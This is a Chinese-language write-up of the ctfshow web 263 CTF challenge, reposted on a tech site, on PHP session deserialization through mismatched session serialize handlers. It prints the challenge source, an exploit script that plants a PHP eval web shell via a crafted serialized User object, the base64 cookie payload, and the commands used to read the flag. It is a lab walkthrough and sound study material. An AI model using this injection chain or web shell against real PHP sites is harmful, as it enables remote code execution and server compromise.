• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

ctfshow web入门 反序列化 263

武飞扬头像
练习两年半的篮球选..哦不对安全选手
帮助5

因为这个,可能讲的要稍微多一点,所以单独另起一篇

基本


题目主要是session反序列化

我们主要了解这里就可以了

session.serialize_handler的引擎有看下面。
注:php_serialize是从5.5.4开始使用的。

处理器名称 存储格式
php 键名 竖线 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 键名 经过serialize()函数序列化处理的值

php_serialize

经过serialize()函数序列化处理的数组

处理器-php

  1.  
    <?php
  2.  
     
  3.  
    highlight_file(__FILE__);
  4.  
    ini_set('session.serialize_handler', 'php');
  5.  
    session_start();
  6.  
    $_SESSION['session'] = $_GET['session'];
  7.  
    var_dump($SESSION);

我们访问网页,通过session参数传入一个2,他会在一个tmp的文件夹下面生成一个文件。

那么怎么找到这个文件呢,毕竟每一个人的路径肯定有区别的,这里我们可以Everything这个工具来搜索sess_,就可以知道路径了,接下来我们看看生成了什么。

学新通

  1.  
    //生成的
  2.  
    session|s:1:"2";

竖杠的左边是他的键名,右边是他的键值。
也正是键名 竖线 经过serialize()函数序列化处理的值

处理器-php_binary

  1.  
    <?php
  2.  
     
  3.  
    highlight_file(__FILE__);
  4.  
    ini_set('session.serialize_handler', 'php_binary');
  5.  
    session_start();
  6.  
    $_SESSION['session'] = $_GET['session'];
  7.  
    var_dump($SESSION);

这里就是我们使用的代码,然后传入2,这里修改了一下PHPSESSID为aaa,然后就会生成一个sess_aaa的文件。

  1.  
    //生成的
  2.  
    sessions:1:"2";

session前面是还有一个字符因为不可见的缘故大家看不到。

处理器-php_serialize

  1.  
    <?php
  2.  
     
  3.  
    highlight_file(__FILE__);
  4.  
    ini_set('session.serialize_handler', 'php_serialize');
  5.  
    session_start();
  6.  
    $_SESSION['session'] = $_GET['session'];
  7.  
    var_dump($SESSION);

老样子输入一个2,它里面文件的内容是

a:1:{s:7:"session";s:1:"2";}

这里php_serialize在内部简单地直接使用 serialize/unserialize函数,他是会自动进行反序列化这就是我们需要利用的。

这里写两个来进行举例 :

这里使用这两个

  1.  
    <?php
  2.  
     
  3.  
    highlight_file(__FILE__);
  4.  
    ini_set('session.serialize_handler', 'php_serialize');
  5.  
    session_start();
  6.  
    $_SESSION['session'] = $_GET['session'];
  7.  
    var_dump($SESSION);
  1.  
    <?php
  2.  
    highlight_file(__FILE__);
  3.  
     
  4.  
    ini_set('session.serialize_handler', 'php');
  5.  
    session_start();
  6.  
     
  7.  
    class A
  8.  
    {
  9.  
    public $a;
  10.  
    public function __destruct()
  11.  
    {
  12.  
    echo($this->a);
  13.  
    }
  14.  
    }

我们这里写一串序列化的东西,看看下面那个是否会输出phpinfo()

O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}

首先我们在上面那个传入

?session=|O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}

记住这里要加竖杠,因为第二个文件的解释器是php,我们要让前面成为键名,后面是键值,让他只解析后面的序列化好的字符串,然后这里他会写入一个PHPSESSID里面,我们带着这个一个去访问下面那个文件。

学新通

 这里我们看到属性a没有任何赋值,但是最后确实是输出了phpinfo().

我们去看看生成的文件,里面的内容是怎么样的。

a:1:{s:7:"session";s:37:"|O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}

php_serialize处理器是进行了一次php序列化,但是我们传入了一个|,在php处理器的理解是

这三部分

a:1:{s:7:"session";s:37:"  //键名,这个是不解析的

|  //分隔符

O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}  //键值

题目

这里刚进去没有发现什么东西,这里通过dirsearch扫目录发现有www.zip

  1.  
    //index.php
  2.  
    <?php
  3.  
     
  4.  
    /*
  5.  
    # -*- coding: utf-8 -*-
  6.  
    # @Author: h1xa
  7.  
    # @Date: 2020-09-03 16:28:37
  8.  
    # @Last Modified by: h1xa
  9.  
    # @Last Modified time: 2020-09-06 19:21:45
  10.  
    # @email: h1xa@ctfer.com
  11.  
    # @link: https://ctfer.com
  12.  
     
  13.  
    */
  14.  
    error_reporting(0);
  15.  
    session_start();
  16.  
    //超过5次禁止登陆
  17.  
    if(isset($_SESSION['limit'])){
  18.  
    $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
  19.  
    $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) 1);
  20.  
    }else{
  21.  
    setcookie("limit",base64_encode('1'));
  22.  
    $_SESSION['limit']= 1;
  23.  
    }
  24.  
     
  25.  
    ?>
  26.  
     
  27.  
     
  28.  
    <!DOCTYPE html>
  29.  
    <html>
  30.  
    <head>
  31.  
    <meta charset="UTF-8">
  32.  
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
  33.  
    <meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
  34.  
    <meta name="viewport" content="width=device-width, initial-scale=1">
  35.  
    <meta name="apple-mobile-web-app-capable" content="yes">
  36.  
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
  37.  
    <title>ctfshow登陆</title>
  38.  
    <link href="css/style.css" rel="stylesheet">
  39.  
    </head>
  40.  
    <body>
  41.  
     
  42.  
    <div class="pc-kk-form">
  43.  
    <center><h1>CTFshow 登陆</h1></center><br><br>
  44.  
    <form action="" onsubmit="return false;">
  45.  
    <div class="pc-kk-form-list">
  46.  
    <input id="u" type="text" placeholder="用户名">
  47.  
    </div>
  48.  
    <div class="pc-kk-form-list">
  49.  
    <input id="pass" type="password" placeholder="密码">
  50.  
    </div>
  51.  
     
  52.  
    <div class="pc-kk-form-btn">
  53.  
    <button onclick="check();">登陆</button>
  54.  
    </div>
  55.  
    </form>
  56.  
    </div>
  57.  
     
  58.  
     
  59.  
    <script type="text/javascript" src="js/jquery.min.js"></script>
  60.  
     
  61.  
    <script>
  62.  
     
  63.  
    function check(){
  64.  
    $.ajax({
  65.  
    url:'check.php',
  66.  
    type: 'GET',
  67.  
    data:{
  68.  
    'u':$('#u').val(),
  69.  
    'pass':$('#pass').val()
  70.  
    },
  71.  
    success:function(data){
  72.  
    alert(JSON.parse(data).msg);
  73.  
    },
  74.  
    error:function(data){
  75.  
    alert(JSON.parse(data).msg);
  76.  
    }
  77.  
     
  78.  
    });
  79.  
    }
  80.  
     
  81.  
     
  82.  
    </script>
  83.  
     
  84.  
    </body>
  85.  
    </html>
学新通

因为check.php,这里 require_once 'inc/inc.php';,所以我们去查看inc/inc.php

  1.  
    //check.php
  2.  
    <?php
  3.  
     
  4.  
    /*
  5.  
    # -*- coding: utf-8 -*-
  6.  
    # @Author: h1xa
  7.  
    # @Date: 2020-09-03 16:59:10
  8.  
    # @Last Modified by: h1xa
  9.  
    # @Last Modified time: 2020-09-06 19:15:38
  10.  
    # @email: h1xa@ctfer.com
  11.  
    # @link: https://ctfer.com
  12.  
     
  13.  
    */
  14.  
     
  15.  
    error_reporting(0);
  16.  
    require_once 'inc/inc.php';
  17.  
    $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
  18.  
     
  19.  
     
  20.  
    if($GET){
  21.  
     
  22.  
    $data= $db->get('admin',
  23.  
    [ 'id',
  24.  
    'UserName0'
  25.  
    ],[
  26.  
    "AND"=>[
  27.  
    "UserName0[=]"=>$GET['u'],
  28.  
    "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母 数字 特殊符号,防止爆破
  29.  
    ]
  30.  
    ]);
  31.  
    if($data['id']){
  32.  
    //登陆成功取消次数累计
  33.  
    $_SESSION['limit']= 0;
  34.  
    echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
  35.  
    }else{
  36.  
    //登陆失败累计次数加1
  37.  
    $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) 1);
  38.  
    echo json_encode(array("error","msg"=>"登陆失败"));
  39.  
    }
  40.  
    }
学新通
  1.  
    #inc/inc.php
  2.  
    <?php
  3.  
    error_reporting(0);
  4.  
    ini_set('display_errors', 0);
  5.  
    ini_set('session.serialize_handler', 'php');
  6.  
    date_default_timezone_set("Asia/Shanghai");
  7.  
    session_start();
  8.  
    use \CTFSHOW\CTFSHOW;
  9.  
    require_once 'CTFSHOW.php';
  10.  
    $db = new CTFSHOW([
  11.  
    'database_type' => 'mysql',
  12.  
    'database_name' => 'web',
  13.  
    'server' => 'localhost',
  14.  
    'username' => 'root',
  15.  
    'password' => 'root',
  16.  
    'charset' => 'utf8',
  17.  
    'port' => 3306,
  18.  
    'prefix' => '',
  19.  
    'option' => [
  20.  
    PDO::ATTR_CASE => PDO::CASE_NATURAL
  21.  
    ]
  22.  
    ]);
  23.  
     
  24.  
    // sql注入检查
  25.  
    function checkForm($str){
  26.  
    if(!isset($str)){
  27.  
    return true;
  28.  
    }else{
  29.  
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\ |\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
  30.  
    }
  31.  
    }
  32.  
     
  33.  
     
  34.  
    class User{
  35.  
    public $username;
  36.  
    public $password;
  37.  
    public $status;
  38.  
    function __construct($username,$password){
  39.  
    $this->username = $username;
  40.  
    $this->password = $password;
  41.  
    }
  42.  
    function setStatus($s){
  43.  
    $this->status=$s;
  44.  
    }
  45.  
    function __destruct(){
  46.  
    file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
  47.  
    }
  48.  
    }
  49.  
     
  50.  
    /*生成唯一标志
  51.  
    *标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
  52.  
    */
  53.  
     
  54.  
    function uuid()
  55.  
    {
  56.  
    $chars = md5(uniqid(mt_rand(), true));
  57.  
    $uuid = substr ( $chars, 0, 8 ) . '-'
  58.  
    . substr ( $chars, 8, 4 ) . '-'
  59.  
    . substr ( $chars, 12, 4 ) . '-'
  60.  
    . substr ( $chars, 16, 4 ) . '-'
  61.  
    . substr ( $chars, 20, 12 );
  62.  
    return $uuid ;
  63.  
    }
学新通

 这里我们分析一下,首先看看index.php这里有一个问题就是session,我们可以自己定义,然后这里还是存在session_start(),这里php的版本是7.3.11,所以就是默认就是ini_set('session.serialize_handler', 'php_serialize');

  1.  
    if(isset($_SESSION['limit'])){
  2.  
    $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
  3.  
    $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) 1);
  4.  
    }else{
  5.  
    setcookie("limit",base64_encode('1'));
  6.  
    $_SESSION['limit']= 1;
  7.  
    }

然后看到check.php,注意这里他是有加载inc.php的

require_once 'inc/inc.php';

这里看到inc.php,注意这里,他是设定成了php,所以结合上面php_serialize,在结合我们可以控制session,还有下面User类中的username和password,这里还可以进行任意文件写入,嘿嘿嘿,整条思路不就有了吗。

  1.  
    ini_set('session.serialize_handler', 'php');
  2.  
     
  3.  
    class User{
  4.  
    public $username;
  5.  
    public $password;
  6.  
    public $status;
  7.  
    function __construct($username,$password){
  8.  
    $this->username = $username;
  9.  
    $this->password = $password;
  10.  
    }
  11.  
    function setStatus($s){
  12.  
    $this->status=$s;
  13.  
    }
  14.  
    function __destruct(){
  15.  
    file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
  16.  
    }
  17.  
    }
学新通

首先我们先去生成exp

  1.  
    //payload
  2.  
    <?php
  3.  
    class User{
  4.  
    public $username="1.php";
  5.  
    public $password='<?php eval($_POST[a]);?>//';
  6.  
    }
  7.  
     
  8.  
    echo urlencode(base64_encode(serialize("|".serialize(new User))));
  1.  
    //1.index.php
  2.  
    cookie传:limit=czo5MjoifE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BLy8iO30iOw%3D%3D
  3.  
     
  4.  
    //2.带着cookie去访问check.php
  5.  
     
  6.  
    //3.访问log-1.php
  7.  
    post传:a=system('cat flag.php');
  8.  
     
  9.  
    //4.查看源代码获得flag

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhfiaefc
系列文章
更多 icon
同类精品
更多 icon
继续加载